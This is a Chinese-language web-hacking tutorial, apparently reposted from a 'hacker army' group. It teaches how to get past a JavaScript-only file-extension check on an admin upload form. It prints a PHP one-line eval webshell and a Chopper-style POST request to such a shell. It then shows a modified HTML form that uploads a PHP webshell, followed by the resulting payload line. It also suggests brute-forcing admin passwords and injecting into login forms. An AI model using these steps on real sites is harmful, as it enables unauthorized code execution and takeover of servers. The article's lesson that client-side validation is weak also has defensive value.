网站地图    收藏   

主页 > 后端 > 网站安全 >

POST表单与上传突破JS后缀名检查分析 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 本文纯属科普文,在看本文前,请简单了解一下GET与POST的区别:《网站表单接收信息提交方式:Get与Post 小讲》如果这个文章你没看懂,或者不想看,那么我来给你更简单的讲一下GET与...

 
 本文纯属科普文,在看本文前,请简单了解一下GET与POST的区别:
网站表单接收信息提交方式:Get与Post 小讲
如果这个文章你没看懂,或者不想看,那么我来给你更简单的讲一下GET与POST
GET体现在url当中,通常我们遇到的注入也好,文件包含也好,多数是GET方式的,而远程密令执行,任意文件执行等getshell漏洞多数是POST的方式进行的
我并没有一概而论,注入也有很多POST,例如典型的万能密码就是POST注入,咱不要钻牛角尖。
那么GET和POST的区别在哪里呢?
GET是直接体现在url当中的,例如当x.php以GET方式接收cmd变量时,格式是这样的/x.php?cmd=xxxxx
而POST则是表单,可见可不见,例如x.php以POST方式接收cmd变量时,url依然是x.php,后面什么东西也没有,但是IE、safari、chrome等浏览器其实已经通过网页中的<form></form>标签完成了数据交换。
我想你应该懂了大概了吧,如果不懂,就继续去恶补html吧,这是html最基本的http数据交换,好了,我们开始正文了

首先我们来看一个php的一句话webshell:
 
 
<?php
 
eval($_POST['xxx']);
 
?>
复制代码
通常我们都是用一句话客户端例如菜刀等直接使用,可是你又知道菜刀是怎么工作的吗?为什么xxx是密码??
其实很简单
php通过POST取值执行php代码。那么执行phpinfo()这个php代码的话,一句话客户端就会发送下面的数据:
 
 
POST /cmd.php HTTP/1.1
 
Host:blackbap.org
 
User-Agent: Chopper
 
Accept: text/xml,application/xml,application/xhtml+xml,
 
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
 
Accept-Language: zh-cn;q=0.5
 
Accept-Encoding: gzip,deflate
 
Accept-Charset: gb2312;q=0.7
 
Keep-Alive: 300
 
Referer: http://www.2cto.com /cmd.php
 
Content-Type: application/x-www-form-urlencoded
 
Content-Length: 14
 
xxx=phpinfo()
复制代码
我们直接看最后一行,是的,这就是post发送数据
如果进行抓包的话,我们一定会看到这样类似的数据包发送
那么,这样的数据发送是如何在浏览器中完成的呢?其实更简单
 
 
<form action="http://blackbap.org/cmd.php" method="POST">
 
<input type="text" id="xxx" value="phpinfo()">
 
<input type="submit" value="提交">
 
</form>
复制代码
把上面代码保存为xx.html提交,就发送了上面抓包的POST数据了。
那么我们可以看到这样的一个关系:
如果一句话木马中:
 
 
$bl1 = $_POST['bianliang1'];
 
$bl2 = $_POST['bianliang2'];
 
$bl3 = $_POST['bianliang3'];
 
.............
 
$blN = $_POST['bianliangN'];
复制代码
那么在form中就可以:
 
 
<input type="text" id="bianliang1" value="">
 
<input type="text" id="bianliang2" value="">
 
<input type="text" id="bianliang3" value="">
 
.....
 
<input type="text" id="bianliangN" value="">
复制代码
那么POST数据包中的末尾就是:
bianliang1=xxxx&bianliang2=xxxx&bianliang3=xxxx&.....bianliangN=xxxx
恩,这很简单。
那么我要讲什么呢?
我们看这样一个后台:
 
 
<script language="javascript" type="text/javascript">
 
function val()
 
{
 
if(document.addpro.album_title.value=="")
 
{
 
alert("Enter project title");
 
document.addpro.album_title.focus();
 
return false;
 
}
 
if(document.addpro.album_pos.value=="")
 
{
 
alert("select the position");
 
document.addpro.album_pos.focus();
 
return false;
 
}
 
if(document.addpro.album_image.value!="")
 
{
 
var img=document.addpro.album_image.value;
 
var pos=img.lastIndexOf('.');
 
if(pos<0)
 
{
 
alert("Unsupported image format");
 
document.addpro.album_image.focus();
 
return false;
 
}
 
if(pos>=0)
 
{
 
var mainext=img.substr(pos+1);
 
if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG'))
 
{
 
alert("Unsupported image format");
 
document.addpro.album_image.focus();
 
return false;
 
}
 
}
 
}
 
}
 
</script>
 
</head>
 
<form method="post" enctype="multipart/form-data" name="addpro">
 
<select>
 
<option value="">Select the position</option>
 
<option value="1">1</option>
 
<option value="Last">Last</option>
 
</select></td>
 
<input type="file" name="album_image" /></td>
 
<input type="submit" name="Submit" value="ADD" />
 
</form>
复制代码
这是一个管理员后台“相册添加”的右键查看源代码的实例(有删改),如果直接在这样的后台选择php文件上传作为相册封面是不行的。
因为我们看到有这样一段代码:
 
 
if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG'))
复制代码
这里做了判断,如果后缀名不是jpg,JPG,jpeg,JPEG,gif,GIF,bmb,BMB,png,PNG,就会失败
那么这段JavaScript是如何影响POST数据的呢?
我们可以看到在<form>标签中有这样一句:onsubmit="return val();"
是的,就是这句代码,让form执行了Javascript
那么问题就来了,Javascript是本地浏览器,也就是访问网页的人执行的,如果我拒绝执行,那么岂不是可以不受他的后缀名限制?
那么这就太简单了,浏览器禁用JS并不是个非常好的方法,最保守的方法是:
 
 
<form method="post" action="能够上传相册图片的url地址" enctype="multipart/form-data">
 
<select name="position">
 
<option value="">Select the position</option>
 
<option value="1">1</option>
 
<option value="Last">Last</option>
 
</select></td>
 
<input type="file" name="album_image" /></td>
 
<input type="submit" name="Submit" value="ADD" />
 
</form>
复制代码
我们把onsubmit换成action,并填入可以上传图片的url,保存为xxx的html用浏览器打开。好了,下一步就可以直接POST上传php文件了
至于抓包嘛,你可以看看,最后应该是
 
 
position=Last&album_image=<?php eval($_POST[c]);?>
复制代码
明白了原理,我们还可以扩展一下,比方说没有验证码的后台,我们只要右键查看后台登陆界面的“源代码”,修改action的地址,保存为html再通过替换value的方式用工具暴力破解后台密码了
还有POST后台登陆框注入等等:http://www.2cto.com/Article/201112/115384.html
看完此文的高手们也许会失望,但是我开头说了,科普文而已,很简单的东西

作者:YoCo Smart 来自:Silic Group Hacker Army

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论